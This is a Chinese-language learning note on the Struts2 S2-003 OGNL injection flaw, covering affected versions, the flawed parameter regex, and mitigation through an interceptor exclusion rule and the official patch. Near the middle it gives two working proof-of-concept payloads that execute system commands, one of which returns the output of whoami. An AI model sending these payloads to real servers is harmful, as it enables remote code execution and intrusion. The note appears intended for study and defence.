写在前面
这篇文章是关于作者学习s2-003漏洞的笔记
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com
正文
漏洞分析
漏洞详情页
这个漏洞环境vulhub没有准备
可以在该仓库获取演示demo:环境代码获取
如果不会启动项目的,看看这篇文章
如果想远程调试,参考这篇文章
影响版本
Struts 2.0.0 - Struts 2.1.8.1
漏洞原理
struts会将接收到的参数当作OGNL进行解析,并且对接收到的参数的过滤机制有缺陷:在com.opensymphony.xwork2.interceptor.ParameterFilterInterceptor
中,匹配用户输入的正则表达式为:
this.acceptedParamNames = "[\\p{Graph}&&[^,#:=]]*";
利用条件/测试情景
1.利用条件
默认配置即可
2.测试情景
struts2应用的任何页面都可以测试
利用方法
验证PoC:(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\%27calc\%27)%27)(bla)(bla)
如果是Linux,将calc替换为touch /tmp/success
,然后检查tmp目录
有回显PoC:(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023mycmd\u003d\%27whoami\%27%27)(bla)(bla)&(%27\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla))
如何修复
紧急处理方法(仅供参考)
在struts.xml中配置ParameterInterceptor来过滤恶意字符
<interceptor-ref name="params">
<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>
</interceptor-ref>
观察恶意流量的特征,设置安全设备的防护规则
补丁修复方法
官方为 OgnlValueStack 添加了新的 allowStaticMethodAccess 属性,该属性默认为false,禁止静态方法的调用,但是没有从根本上进行修复漏洞